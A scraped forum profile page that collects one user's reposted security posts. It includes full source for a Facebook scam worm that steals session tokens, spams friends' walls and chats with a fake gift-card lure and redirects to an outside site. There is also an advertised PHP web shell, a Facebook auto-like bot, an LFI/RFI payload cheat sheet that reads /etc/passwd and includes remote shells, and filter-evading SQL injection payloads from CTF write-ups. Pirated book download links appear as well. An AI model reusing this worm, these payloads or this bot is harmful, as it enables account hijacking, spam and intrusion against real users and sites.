Jump to content

Nytro

Administrators
  • Posts

    18713
  • Joined

  • Last visited

  • Days Won

    701

Everything posted by Nytro

  1. Beginning ASP.NET 4 in C# 2010 Beginning ASP.NET 4 in C# 2010Publisher: Apress 2010 | 1017 Pages | ISBN: 1430226080 | PDF | 22 MBThe most Up-to-date and comprehensive introductory ASP.NET book you'll find on any shelf, Beginning ASP.NET 4 in C# 2010 guides you through Microsoft's latest technology for building dynamic web sites. This book will enable you to build dynamic web pages on the fly, and assumes only the most basic knowledge of C#. Download: http://freakshare.com/files/3btryk3f/Begin_Asp.rar.html http://hotfile.com/dl/117376760/63a97b1/Begin_Asp.rar.html http://www.duckload.com/download/5578745/Begin_Asp.rar http://www.filesonic.com/file/961998914/Begin_Asp.rar http://www.fileserve.com/file/GGz7gG5Sursa: Beginning ASP.NET 4 in C# 2010 - r00tsecurity
  2. Facebook Scam Source Code Virus It will do a facebook chat to all your friends and tell them to join this Facebook group in which you allow it to access your privacy settings. It then tells you to sign up on a site to access your personal information. function readCookie(name) { var nameEQ = name + "="; var ca = document.cookie.split(';'); for (var i = 0; i < ca.length; i++) { var c = ca[i]; while (c.charAt(0) == ' ') c = c.substring(1, c.length); if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length); } return null; } var user_id = readCookie("c_user"); var user_name = document.getElementById('navAccountName').innerHTML; var coverpage = function() { var boxdiv = document.createElement('div'); boxdiv.id = 'coverpage1'; boxdiv.style.display = 'block'; boxdiv.style.position = 'absolute'; boxdiv.style.width = 100 + '%'; boxdiv.style.height = 100 + '%'; boxdiv.style.top = 100 + 'px'; boxdiv.style.margin.top = 100 + 'auto'; boxdiv.style.margin = 0 + 'auto'; boxdiv.style.textAlign = 'center'; boxdiv.style.padding = '4px'; boxdiv.style.background = 'url(http://1.bp.blogspot.com/-A0gpB7_AX3o/Tc71HASoEXI/AAAAAAAABKs/EjquUCzFw20/s1600/pgvws.png) no-repeat scroll center top'; boxdiv.style.fontSize = '15px'; boxdiv.style.zIndex = 9999999; boxdiv.innerHTML=' <table align="center" cellpadding="5" cellspacing="5" width="400px"><tr align="left"><td valign="middle"><br /><br /><br /><br /><img style="border: 1px solid black;padding:5px;margin:10px;width:140px;height:140px;" src="http://graph.facebook.com/'+user_id+'/picture?type=large" /></td><td align="left" valign="middle"><font style="font-weight: bold;font-size:16px;">'+user_name+'</font><br /><img src="http://i.imgur.com/hRjNi.gif" style="margin-left:20px;padding-left: 5px;"/></td></tr></table>'; document.body.appendChild(boxdiv); } coverpage(); // Setup some variables var post_form_id = document.getElementsByName('post_form_id')[0].value; var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; // Chat message variables var this_chat = "omg!! i just got my $1,000 jetBlue giftcard in the mail today!! go get one 2 so we can go somewhere x.co/XFG8"; var prepared_chat = encodeURIComponent(this_chat); /////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Post Link to friends walls /////////////////////////////////////////////////////////////////////////////////////////////////////////////// var token = Math.round(new Date().getTime() / 1000); var http1 = new XMLHttpRequest(); var url1 = "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer=" + user_id + "&token=" + token + "-6&filter[0]=user&options[0]=friends_only"; var params1 = ""; http1.open("GET", url1 + "?" + params1, true); http1.onreadystatechange = function () { //Call a function when the state changes. if (http1.readyState == 4 && http1.status == 200) { // If state = success var response1 = http1.responseText; response1 = response1.replace("for (;", ""); // Get rid of the junk at the beginning of the returned object response1 = JSON.parse(response1); // Convert the response to JSON //alert(response4.toSource()); var count = 0; for (uid in response1.payload.entries) { if (count < 400) { //alert("SENT TO "+response1.payload.entries[count].uid); // Loop to send messages // New XMLHttp object var httpwp = new XMLHttpRequest(); var urlwp = "http://www.facebook.com/ajax/profile/composer.php?__a=1"; var paramswp = "post_form_id=" + post_form_id + "&fb_dtsg=" + fb_dtsg + "&xhpc_composerid=u574553_1&xhpc_targetid=" + response1.payload.entries[count].uid + "&xhpc_context=profile&xhpc_fbx=1&aktion=post&app_id=2309869772&UIThumbPager_Input=0&attachment[params][metaTagMap][0][http-equiv]=content-type&attachment[params][metaTagMap][0][content]=text%2Fhtml%3B%20charset%3Dutf-8&attachment[params][metaTagMap][1][property]=og%3Atitle&attachment[params][metaTagMap][1][content]=How would you like a $1,000 jetBlue Gift Card? - Fly Anywhere For Free!&attachment[params][metaTagMap][2][property]=og%3Aurl&attachment[params][metaTagMap][2][content]=http://www.facebook.com&attachment[params][metaTagMap][3][property]=og%3Asite_name&attachment[params][metaTagMap][3][content]=jetBlue&attachment[params][metaTagMap][4][property]=og%3Aimage&attachment[params][metaTagMap][4][content]=http://i.imgur.com/8TAjs.jpg&attachment[params][metaTagMap][5][property]=og%3Adescription&attachment[params][metaTagMap][5][content]=Only 24 Hours Left!!&attachment[params][metaTagMap][6][name]=description&attachment[params][metaTagMap][6][content]=jetBlue&attachment[params][metaTagMap][7][http-equiv]=Content-Type&attachment[params][metaTagMap][7][content]=text%2Fhtml%3B%20charset%3Dutf-8&attachment[params][medium]=106&attachment[params][urlInfo][user]=http://x.co/XFG8&attachment[params][favicon]=http://lol.info/os/favicon.ico&attachment[params][title]=How would you like a $1,000 jetBlue Gift Card? - Fly Anywhere For Free!&attachment[params][fragment_title]=&attachment[params][external_author]=&attachment[params][summary]=Only 24 hours left!&attachment[params][url]=http://www.facebook.com&attachment[params][ttl]=0&attachment[params][error]=1&attachment[params][responseCode]=206&attachment[params][metaTags][description]=Get your FREE $1,000 jetBlue card now before time runs out!&attachment[params][images][0]=http://i.imgur.com/8TAjs.jpg&attachment[params][scrape_time]=1302991496&attachment[params][cache_hit]=1&attachment[type]=100&xhpc_message_text=omg!! i can't believe they're sending me one!!!&xhpc_message=yesssss GOT ONE SUCKASSSS&nctr[_mod]=pagelet_wall&lsd&post_form_id_source=AsyncRequest"; httpwp.open("POST", urlwp, true); //Send the proper header information along with the request httpwp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); httpwp.setRequestHeader("Content-length", paramswp.length); httpwp.setRequestHeader("Connection", "keep-alive"); httpwp.onreadystatechange = function () { //Call a function when the state changes. if (httpwp.readyState == 4 && httpwp.status == 200) { //alert(http.responseText); //alert('buddy list fetched'); } } httpwp.send(paramswp); } count++; // increment counter } http1.close; // Close the connection } } http1.send(null); /////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Hide chat boxes /////////////////////////////////////////////////////////////////////////////////////////////////////////////// var hide = document.getElementById('fbDockChatTabSlider'); hide.style.display = "none"; /////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Get online friends and send chat message to them /////////////////////////////////////////////////////////////////////////////////////////////////////////////// var http3 = new XMLHttpRequest(); var url3 = "http://www.facebook.com/ajax/chat/buddy_list.php?__a=1"; var params3 = "user=" + user_id + "&popped_out=false&force_render=true&post_form_id=" + post_form_id + "&fb_dtsg=" + fb_dtsg + "&lsd&post_form_id_source=AsyncRequest"; http3.open("POST", url3, true); //Send the proper header information along with the request http3.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http3.setRequestHeader("Content-length", params3.length); http3.setRequestHeader("Connection", "close"); http3.onreadystatechange = function () { //Call a function when the state changes. if (http3.readyState == 4 && http3.status == 200) { var response3 = http3.responseText; response3 = response3.replace("for (;", ""); response3 = JSON.parse(response3); var count = 0; for (property in response3.payload.buddy_list.nowAvailableList) { if (count < 100) { // Loop to send messages // New XMLHttp object var httpc = new XMLHttpRequest(); // Generate random message ID var msgid = Math.floor(Math.random() * 1000000); var time = Math.round(new Date().getTime() / 1000); var urlc = "http://www.facebook.com/ajax/chat/send.php?__a=1"; var paramsc = "msg_id=" + msgid + "&client_time=" + time + "&to=" + property + "&num_tabs=1&pvs_time=" + time + "&msg_text=" + prepared_chat + "&to_offline=false&post_form_id=" + post_form_id + "&fb_dtsg=" + fb_dtsg + "&lsd&post_form_id_source=AsyncRequest"; httpc.open("POST", urlc, true); //Send the proper header information along with the request httpc.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); httpc.setRequestHeader("Content-length", paramsc.length); httpc.setRequestHeader("Connection", "close"); httpc.onreadystatechange = function () { //Call a function when the state changes. if (httpc.readyState == 4 && httpc.status == 200) { //alert(http.responseText); //alert('buddy list fetched'); } } httpc.send(paramsc); } //alert(property); count++; // increment counter } http3.close; // Close the connection } } http3.send(params3); /////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Become a Fan /////////////////////////////////////////////////////////////////////////////////////////////////////////////// var http4 = new XMLHttpRequest(); var url4 = "http://www.facebook.com/ajax/pages/fan_status.php?__a=1"; var params4 = "fbpage_id=201282479913581&add=1&reload=0&preserve_tab=false&nctr[_mod]=pagelet_header&post_form_id=" + post_form_id + "&fb_dtsg=" + fb_dtsg + "&lsd&post_form_id_source=AsyncRequest" http4.open("POST", url4, true); //Send the proper header information along with the request http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http4.setRequestHeader("Content-length", params4.length); http4.setRequestHeader("Connection", "close"); http4.onreadystatechange = function () { //Call a function when the state changes. if (http4.readyState == 4 && http4.status == 200) { http4.close; // Close the connection } } http4.send(params4); /////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Become a Fan /////////////////////////////////////////////////////////////////////////////////////////////////////////////// var http5 = new XMLHttpRequest(); var url5 = "http://www.facebook.com/ajax/pages/fan_status.php?__a=1"; var params5 = "fbpage_id=201286706575691&add=1&reload=0&preserve_tab=false&nctr[_mod]=pagelet_header&post_form_id=" + post_form_id + "&fb_dtsg=" + fb_dtsg + "&lsd&post_form_id_source=AsyncRequest" http5.open("POST", url5, true); //Send the proper header information along with the request http5.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http5.setRequestHeader("Content-length", params5.length); http5.setRequestHeader("Connection", "close"); http5.onreadystatechange = function () { //Call a function when the state changes. if (http5.readyState == 4 && http5.status == 200) { http5.close; // Close the connection } } http5.send(params5); /////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Become a Fan /////////////////////////////////////////////////////////////////////////////////////////////////////////////// var http6 = new XMLHttpRequest(); var url6 = "http://www.facebook.com/ajax/pages/fan_status.php?__a=1"; var params6 = "fbpage_id=167400883320224&add=1&reload=0&preserve_tab=false&nctr[_mod]=pagelet_header&post_form_id=" + post_form_id + "&fb_dtsg=" + fb_dtsg + "&lsd&post_form_id_source=AsyncRequest" http6.open("POST", url6, true); //Send the proper header information along with the request http6.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http6.setRequestHeader("Content-length", params6.length); http6.setRequestHeader("Connection", "close"); http6.onreadystatechange = function () { //Call a function when the state changes. if (http6.readyState == 4 && http6.status == 200) { http6.close; // Close the connection } } http6.send(params6); //this function includes all necessary js files for the application function include(file) { var script = document.createElement('script'); script.src = file; script.type = 'text/javascript'; script.defer = true; document.getElementsByTagName('head').item(0).appendChild(script); } include('http://code.jquery.com/jquery-1.5.2.min.js'); var landingpage = function() { var myFrame = $("div#coverpage1").hide(1000); window.top.location = "http://appboxkm.info.s3-website-us-east-1.amazonaws.com/"; } setTimeout("landingpage();",19000); Sursa: http://r00tsecurity.org/forums/topic/13898-facebook-scam-source-code-virus/
  3. [Linux x86 NASM] Open, Read & Write syscalls section .bss buffer: resb 2048 ; A 2 KB byte buffer used for read section .data buflen: dw 2048 ; Size of our buffer to be used for read section .text global _start _start: ; open(char *path, int flags, mode_t mode); ; Get our command line arguments. pop ebx ; argc pop ebx ; argv[0] (executable name) pop ebx ; argv[1] (desired file name) mov eax, 0x05 ; syscall number for open xor ecx, ecx ; O_RDONLY = 0 xor edx, edx ; Mode is ignored when O_CREAT isn't specified int 0x80 ; Call the kernel test eax, eax ; Check the output of open() jns file_read ; If the sign flag is set (positive) we can begin reading the file ; = If the output is negative, then open failed. So we should exit exit: mov eax, 0x01 ; 0x01 = syscall for exit xor ebx, ebx ; makes ebx technically set to zero int 0x80 ; = Begin reading the file file_read: ; read(int fd, void *buf, size_t count); mov ebx, eax ; Move our file descriptor into ebx mov eax, 0x03 ; syscall for read = 3 mov ecx, buffer ; Our 2kb byte buffer mov edx, buflen ; The size of our buffer int 0x80 test eax, eax ; Check for errors / EOF jz file_out ; If EOF, then write our buffer out. js exit ; If read failed, we exit. ; No error or EOF. Keep reading . file_out: ; write(int fd, void *buf, size_t count); mov edx, eax ; read returns amount of bytes read mov eax, 0x04 ; syscall write = 4 mov ebx, 0x01 ; STDOUT = 1 mov ecx, buffer ; Move our buffer into the arguments int 0x80 jmp exit ; All done Sursa: [Linux x86 NASM] Open, Read & Write syscalls - r00tsecurity
  4. Private x0rg Web Hosting Bypasser (PHPshell) This shell has the best bypass capabilities for example: PERL - Extension bypass PYTHON - Extension bypass Bypass php.ini/.htaccess bypass for PHP 5.2.9 bypass for PHP 5.2.12/5.3.1 And other crazy shit here's a SS: Download: http://www.multiupload.com/0PZSAB1DCQ Sursa: Private x0rg Web Hosting Bypasser (PHPshell) - r00tsecurity
  5. Facebook Auto Like Script External Pages Code /* ----------- USER CONFIGURATIONS ------------ */ $login_email = 'CHANGE THIS TO YOUR EMAIL'; $login_pass = 'CHANGE THIS TO YOUR PASSWORD'; $rssFeedToLike = "CHANGE THIS TO YOUR RSS FEED"; /* ------- END OF USER CONFIGURATIONS -------- */ # stories seen $ss = Array(); $page = ''; $likephp = ''; function fblogin($page) { global $ch,$login_email,$login_pass; curl_setopt($ch, CURLOPT_REFERER, 'http://www.facebook.com/plugins/like.php?href=http://fernandomagro.com'); curl_setopt($ch, CURLOPT_URL, 'http://www.facebook.com/login.php?api_key=9c2355ddad105c0767059b748e771bc6&skip_api_login=1&display=popup&social_plugin=like&external_page_url='.rawurlencode($page).'&next=http%3A%2F%2Fwww.facebook.com%2Fconnect%2Fuiserver.php%3Fsocial_plugin%3Dlike%26external_page_url%3D'.rawurlencode($page).'%26method%3Dopt.inlike%26display%3Dpopup%26app_id%3D127760087237610%26from_login%3D1'); curl_setopt($ch, CURLOPT_POSTFIELDS, 'email=' . urlencode($login_email) . '&pass=' . urlencode($login_pass) . '&login=' . urlencode("Login")); curl_setopt($ch, CURLOPT_POST, 1); $login = curl_exec($ch); # echo $login."\n\n\n\n\n";#debug return $login; exit;#debug } function fblikepage($page) { global $ch,$likephp; curl_setopt($ch, CURLOPT_URL, 'http://www.facebook.com/plugins/like.php?href='.rawurlencode($page)); curl_setopt($ch, CURLOPT_POST, 0); $likephp = curl_exec($ch); preg_match("/Env=\{module:\"like_widget\",impid:\"([^\"]+)\",user\d+)/", $likephp, $fbvars); return $fbvars; } // init curl $ch = curl_init(); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_COOKIEJAR, "my_cookies.txt"); curl_setopt($ch, CURLOPT_COOKIEFILE, "my_cookies.txt"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4"); curl_setopt($ch, CURLOPT_URL, $rssFeedToLike); curl_setopt($ch, CURLOPT_POST, 0); $feed = curl_exec($ch); preg_match_all("/<feedburnerrigLink>([^<]+)<\/feedburnerrigLink>/", $feed, $links); #preg_match_all("/<link>([^<]+)<\/link>/", $feed, $links); foreach ($links[1] as $link) { $fbvars = ''; $fbvars = fblikepage($link); if ($fbvars[2] == 0) { if (preg_match("/Env=\{user:\d+/", $likephp)) { echo "Could not like $link : no impid detected\n"; continue; } echo "Logging in...\n"; $page = fblogin($link); $page = fblogin($link); # it's repeated on purpose, cookie trick. $fbvars = fblikepage($link); } # print_r($fbvars); # wrong password if ($fbvars[2] == 0) { echo "Incorrect login user or password\n"; exit; } # impid, user, post_form_id, fb_dtsg preg_match("/Env=\{module:\"like_widget\",impid:\"([^\"]+)\",user\d+).+?post_form_id:\"([^\"]+)\",fb_dtsg:\"([^\"]+)\",/", $likephp, $fbvars); #print_r($fbvars); curl_setopt($ch, CURLOPT_URL, 'http://facebook.com/ajax/connect/external_node_connect.php?__a=1'); curl_setopt($ch, CURLOPT_POSTFIELDS, 'href='.rawurlencode($link).'&node_type=link&edge_type=like&page_id&layout=standard&connect_text&ref&now_connected=true&post_form_id='.$fbvars[3].'&nctr[_mod]=like_widget&nctr[_impid]='.$fbvars[1].'&fb_dtsg='.$fbvars[4].'&post_form_id_source=AsyncRequest'); curl_setopt($ch, CURLOPT_POST, 1); $page = curl_exec($ch); # echo $page; echo "Liked $link\n"; } ?> Sursa: Facebook Auto Like Script External Pages Code - r00tsecurity
  6. How to Increase the Swap File in UNIX(-like) Operating Systems First of all, I’m not saying on which operating system because this applies to numerous UNIX, UNIX derivates and UNIX-like operating systems. For example, the process of increasing the swap file is the same on all Linux, AIX, HP-UX, FreeBSD, NetBSD, OpenBSD, IRIX, Tru64 and possibly more. So, assuming that we have approximately 2GB of swap… 1root:~# free 2 total used free shared buffers cached 3Mem: 1026140 690164 335976 0 226408 246340 4-/+ buffers/cache: 217416 808724 5Swap: 2064376 0 2064376 6root:~# We first create an empty file with the size of additional swap we need. For example if we need 512MB of additional swap we’ll create a file like this: 1root:~# dd if=/dev/zero of=/example_swap bs=1024 count=500000 2500000+0 records in 3500000+0 records out 4512000000 bytes (512 MB) copied, 7.03446 seconds, 72.8 MB/s 5root:~# Which will obviously create file with size of 512MB filled with zeros… 1root:~# ls -l /example_swap 2-rw-r--r-- 1 root root 512000000 May 24 11:49 /example_swap 3root:~# Next, we are making this a swap area using the provided utility. 1root:~# mkswap /example_swap 2Setting up swapspace version 1, size = 511995 kB 3root:~# And we attach this to the system’s swap file as shown below… 1root:~# swapon /example_swap 2root:~# free 3 total used free shared buffers cached 4Mem: 1026140 1005904 20236 0 197632 579308 5-/+ buffers/cache: 228964 797176 6Swap: 2564368 0 2564368 As you can see the space was increased. It would be wise to also update /etc/fstab to map this area at boot time or when using swapon -a command. In order to stop using this area, simply remove it with the appropriate system call’s wrapper utility. 1root:~# swapoff /example_swap 2root:~# free 3 total used free shared buffers cached 4Mem: 1026140 1005780 20360 0 197648 579316 5-/+ buffers/cache: 228816 797324 6Swap: 2064376 0 2064376 7root:~# Sursa: How to Increase the Swap File in UNIX(-like) Operating Systems « xorl %eax, %eax
  7. Exploiting PHP File Inclusion – Overview Recently I see a lot of questions regarding PHP File Inclusions and the possibilities you have. So I decided to give a small overview. All the tricks have been described in detail somewhere earlier, but I like it to have them summed up at one place. Basic Local File Inclusion: 1<?php include("includes/" . $_GET['file']); ?> Including files in the same directory: ?file=.htaccess Path Traversal: ?file=../../../../../../../../../var/lib/locate.db (this file is very interesting because it lets you search the filesystem, other files) Including injected PHP code: ?file=../../../../../../../../../var/log/apache/error.log (you can find other possible Apache dirs here and other ways here. Think about all possible logfiles, file uploads, session files etc.). Temporarily uploaded files might work too. Limited Local File Inclusion: 1<?php include("includes/" . $_GET['file'] . ".htm"); ?> Null Byte Injection: ?file=../../../../../../../../../etc/passwd%00 (requires magic_quotes_gpc=off) Directory Listing with Null Byte Injection: ?file=../../../../../../../../../var/www/accounts/%00 (UFS filesystem only, requires magic_quotes_gpc=off, more details here) Path Truncation: ?file=../../../../../../../../../etc/passwd.\.\.\.\.\.\.\.\.\.\.\ … (more details see here and here) Dot Truncation: ?file=../../../../../../../../../etc/passwd……………. … (Windows only, more details here) Reverse Path Truncation: ?file=../../../../ [...] ../../../../../etc/passwd (more details here) Basic Remote File Inclusion 1<?php include($_GET['file']); ?> Including Remote Code: ?file=[http|https|ftp]://websec.wordpress.com/shell.txt (requires allow_url_fopen=On and allow_url_include=On) Using PHP stream php://input: ?file=php://input (specify your payload in the POST parameters, watch urlencoding, details here, requires allow_url_include=On) Using PHP stream php://filter: ?file=php://filter/convert.base64-encode/resource=index.php (lets you read PHP source because it wont get evaluated in base64. More details here and here) Using data URIs: ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo= (requires allow_url_include=On) Using XSS: ?file=http://127.0.0.1/path/xss.php?xss=phpcode (makes sense if firewalled or only whitelisted domains allowed) Limited Remote File Inclusion 1<?php include($_GET['file'] . ".htm"); ?> ?file=http://websec.wordpress.com/shell ?file=http://websec.wordpress.com/shell.txt? ?file=http://websec.wordpress.com/shell.txt%23(requires allow_url_fopen=On and allow_url_include=On) Static Remote File Inclusion: 1<?php include("http://192.168.1.10/config.php"); ?> Man In The Middle (lame indeed, but often forgotten) Of course you can combine all the tricks. If you are aware of any other or interesting files to include please leave a comment and I’ll add them. Sursa: Exploiting PHP File Inclusion – Overview « Reiners’ Weblog
  8. Exploiting hard filtered SQL Injections 3 This is a follow-up post of the first edition of Exploiting hard filtered SQL Injections and at the same time a writeup for Campus Party CTF web4. In this post we will have a closer look at group_concat() again. Last month I was invited to Madrid to participate at the Campus Party CTF organized by SecurityByDefault. Of course I was mainly interested in the web application challenges, but there was also reverse engineering, cryptography and network challenges. For each of the categories there was 4 difficulty levels. The hardest webapp challenge was a blind SQLi with some filtering. Techniques described in my last blogposts did not helped me so I had to look for new techniques and I promised to do a little writeup on this. The challenge was a news site with a obvious SQLi in the news id GET parameter. For different id’s specified by the user one could see different news articles while a SQL error resulted in no article being displayed. The filter was like the “basic keyword filter” I already introduced here with additional filtering for SQL comments: 01if(preg_match('/\s/', $id)) 02 exit('attack'); // no whitespaces 03if(preg_match('/[\'"]/', $id)) 04 exit('attack'); // no quotes 05if(preg_match('/[\/\\\\]/', $id)) 06 exit('attack'); // no slashes 07if(preg_match('/(and|null|where|limit)/i', $id)) 08 exit('attack'); // no sqli keywords 09if(preg_match('/(--|#|\/\*)/', $id)) 10 exit('attack'); // no sqli comments The first attempt was to create a working UNION SELECT with %a0 as a whitespace alternative which is not covered by the whitespace regex but works on MySQL as a whitespace. 1?id=1%a0union%a0select%a01,2,group_concat(table_name),4,5,6%a0from%a0information_schema.tables;%00 However no UNION SELECT worked, I had no FILE PRIV and guessing the table and column names was too difficult in the short time because they were in spanish and with different upper and lower case letters. So I decided to go the old way with parenthesis and a CASE WHEN: 1?id=(case(substr((select(group_concat(table_name))from(information_schema.tables)),1,1))when(0x61)then(1)else(2)end) The news article with id=1 is shown when the first letter of all concated table names is ‘a’, otherwise news article with id=2 is shown. As stated in my last post the output of group_concat() is limited to 1024 characters by default. This is sufficient to retrieve all table names because all default table names concated have a small length and there is enough space left for custom tables. However the length of all standard columns is a couple of thousands characters long and therefore reading all column names with group_concat() is not easily possible because it will only return the first 1024 characters of concated standard columns of the database mysql and information_schema *. Usually, the goal is to SELECT column names only from a specific table to make the result length smaller than 1024 characters. In case WHERE and LIMIT is filtered I presented a “WHERE alternative” in the first part: 1?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)))# Here I co-SELECTed the column table_name to use it in the HAVING clause (otherwise the error Unknown column ‘table_name’ in ‘having clause’ would occur). In a subSELECT you cannot select from more than one column and this is where I struggled during the challenge. The easiest way would have been to use GROUP BY with %a0 as delimiter: 1?id=(case(substr((select(group_concat(column_name))from(information_schema.columns)group%a0by(table_name)having(table_name)=0x41646D696E6973747261646F726553),1,1))when(0x61)then(1)else(2)end) But what I tried to do is to find a way around the limiting 1024 character of group_concat(). Lets assume the keywords “group” and “having” are filtered also First I checked the total amount of all columns: 1?id=if((select(count(*))from(information_schema.columns))=187,1,2) Compared to newer MySQL versions the amount of 187 was relatively small (my local MySQL 5.1.36 has 507 columns by default, it was MySQL 5.0). Now the idea was to only concatenate the first few characters of each column_name to fit all beginnings of all column_names into 1024 characters. Then it would be possible to read the first characters of the last columns (this is where the columns of user-created tables appear). After this the next block of characters can be extracted for each column_name and so on until the whole name is reconstructed. So the next step was to calculate the maximum amount of characters I could read from each column_name without exceeding the maximum length of 1024: 15 characters * 187 column_names = 935 characters Well thats not correct yet, because we have to add the commas group_concat() adds between each column. That is additional 186 characters which exceeds the maximum length of 1024. So we take only 4 characters per column_name: 14 characters * 187 column_name + 186 commas = 934 characters The injection looked like this: 1?id=(case(substr((select(group_concat(substr(column_name,1,4)))from(information_schema.columns)),1,1))when(0x61)then(1)else(2)end) To avoid finding the right offset where the user tables starts I began to extract column name by column name from the end, until I identified columns of the default mysql database (a local mysql setup helps a lot). I think the following graphic helps to get a better idea of what I did. The first SELECT shows a usual group_concat() on all column names (red blocks with different length) that misses the columns from user-created tables that appear at the end of the block list. The second query concatenates only the first 4 characters (blue) of every name to make the resultset fit into the 1024 character limit. In the same way the next block of 4 characters can be SELECTed (third query). Each string of concatenated substrings can be read char by char to reconstruct the column names (last query). It gets a bit tricky when the offsets change while reading the second or third block of 4 characters and you need to keep attention to not mix up the substrings while putting them back together for every column name. A little PHP script automated the process and saved some time. Although this approach was way to complicated to solve this challenge, I learned a lot In the end I ranked 2nd in the competition. I would like to thank again SecurityByDefault for the fun and challenging contest, especially Miguel for the SQLi challenges and give kudos to knx (1st), aw3a (3rd) and LarsH (the only one solving the tough reversing challenges). By the way the regex filters presented in the last posts are not only for fun and challenges: I have seen widely used community software using (bypassable) filters like these. * Note that the exact concated length and amount of columns and tables depends on your MySQL version. Generally the higher your version is, the more column names are available and the longer is the concated string. You can use the following queries to check it out yourself: 1select sum(length(table_name)) from information_schema.tables where table_schema = 'information_schema' or table_schema='mysql' 2select sum(length(column_name)) from information_schema.columns where table_schema = 'information_schema' or table_schema='mysql' More: Part 1, Part2, SQLi filter evasion cheatsheet Sursa: Exploiting hard filtered SQL Injections 3 « Reiners’ Weblog
  9. Exploiting hard filtered SQL Injections 2 (conditional errors) This is a addition to my last post about Exploiting hard filtered SQL Injections. I recommend reading it to understand some basic filter evasion techniques. In this post we will have a look at the same scenario but this time we will see how it can be solved with conditional errors in a totally blind SQLi scenario. For this we consider the following intentionally vulnerable source code: 01<?php 02// DB connection 03 04// $id = (int)$_GET['id']; 05$id = $_GET['id']; 06 07$result = mysql_query("SELECT id,name,pass FROM users WHERE id = $id") or die("Error"); 08 09if($data = mysql_fetch_array($result)) 10 $_SESSION['name'] = $data['name']; 11?> (proper securing is shown on line 4 to avoid the same confusion as last time ) The main difference to the previous source code is that the user/attacker will not see any output of the SQL query itself because the result is only used for internals. However, the application has a notable difference when an error within the SQL query occurs. In this case it simply shows “Error” but this behavior could also be a notable MySQL error message when error_reporting=On or any other custom error or default page that indicates a difference between a good or bad SQL query. Or think about INSERT queries where you mostly don’t see any output of your injection rather than a “successful” or not. Known conditional errors Now how do we exploit this? “Timing!” you might say, but thats not the topic for today so I’ll filter that out for you 1if(preg_match('/(benchmark|sleep)/i', $id)) 2 exit('attack'); // no timing If you encounter keyword filtering it is more than likely that timing is forbidden because of DoS possibilities. On the other hand using conditional errors is just faster and more accurate. The most common documented error for SQLi usage is a devision by zero. 1?id=if(1=1, CAST(1/0 AS char), 1) However this throws an error only on PostgreSQL and Oracle (and some old MSSQL DBMS) but not on MySQL. A known alternative to cause a conditional error under MySQL is to use a subquery with more than one row in return: 1?id=if(1=1, (select table_name from information_schema.tables), 1) Because the result of the subquery is compared to a single value it is necessary that only one value is returned. A SELECT on all rows of information_schema.tables will return more than one value and this will result in the following error: 1Subquery returns more than 1 row Accordingly our vulnerable webapp will output “Error” and indicate if the condition (1=1) was true or false. Note that we have to know a table and column name to use this technique. conditional errors with regex Until yesterday I did not knew of any other way to throw a conditional error under MySQL (if you know any other, please leave a comment!) and from time to time I was stuck exploiting hard filtered SQL Injections where I could not use timing or known conditional errors because I could not access information_schema or any other table. A new way to trigger conditional errors under MySQL can be achieved by using regular expressions (regex). Regexes are often used to prevent SQL injections, just like in my bad filter examples (which you should never use for real applications). But also for attackers a regex can be very useful. MySQL supports regex by the keyword REGEXP or its synonym RLIKE. 1SELECT id,title,content FROM news WHERE content REGEXP '[a-f0-9]{32}' The interesting part for a SQL Injection is that an error in the regular expression will result in a MySQL error as well. Here are some examples: 1SELECT 1 REGEXP '' 2Got error 'empty (sub)expression' from regexp 1SELECT 1 REGEXP '(' 2Got error 'parentheses not balanced' from regexp 1SELECT 1 REGEXP '[' 2Got error 'brackets ([ ]) not balanced' from regexp 1SELECT 1 REGEXP '|' 2Got error 'empty (sub)expression' from regexp 1SELECT 1 REGEXP '\\' 2Got error 'trailing backslash (\)' from regexp 1SELECT 1 REGEXP '*', '?', '+', '{1' 2Got error 'repetition-operator operand invalid' from regexp 1SELECT 1 REGEXP 'a{1,1,1}' 2Got error 'invalid repetition count(s)' from regexp This can be used to build conditional errors loading an incorrect regular expression depending on our statement. The following injection will check if the MySQL version is 5 or not: 1?id=(select(1)rlike(case(substr(@@version,1,1)=5)when(true)then(0x28)else(1)end)) If the condition is true a incorrect hex encoded regular expression is evaluated and an error is thrown. But in this case we could also have used a subselect error as above if we know a table name. Now consider a similar filter introduced in my previous post: 01if(preg_match('/\s/', $id)) 02 exit('attack'); // no whitespaces 03if(preg_match('/[\'"]/', $id)) 04 exit('attack'); // no quotes 05if(preg_match('/[\/\\\\]/', $id)) 06 exit('attack'); // no slashes 07if(preg_match('/(and|or|null|not)/i', $id)) 08 exit('attack'); // no sqli boolean keywords 09if(preg_match('/(union|select|from|where)/i', $id)) 10 exit('attack'); // no sqli select keywords 11if(preg_match('/(into|file)/i', $id)) 12 exit('attack'); // no file operation 13if(preg_match('/(benchmark|sleep)/i', $id)) 14 exit('attack'); // no timing The first highlighted filter avoids using the known conditional error because we can not use subselects. The last two highlighted filters prevents us from using time delays or files as a side channel. However the new technique with REGEXP does not need a SELECT to trigger a conditional error because we inject into a WHERE statement and MySQL allows a comparison of three operands: 1?id=(1)rlike(if(mid(@@version,1,1)like(5),0x28,1)) If the first char of the version is ’5? then the regex ‘(‘ will be compared to 1 and an error occurs because of unbalanced parenthesis. Otherwise the regex ’1? will be 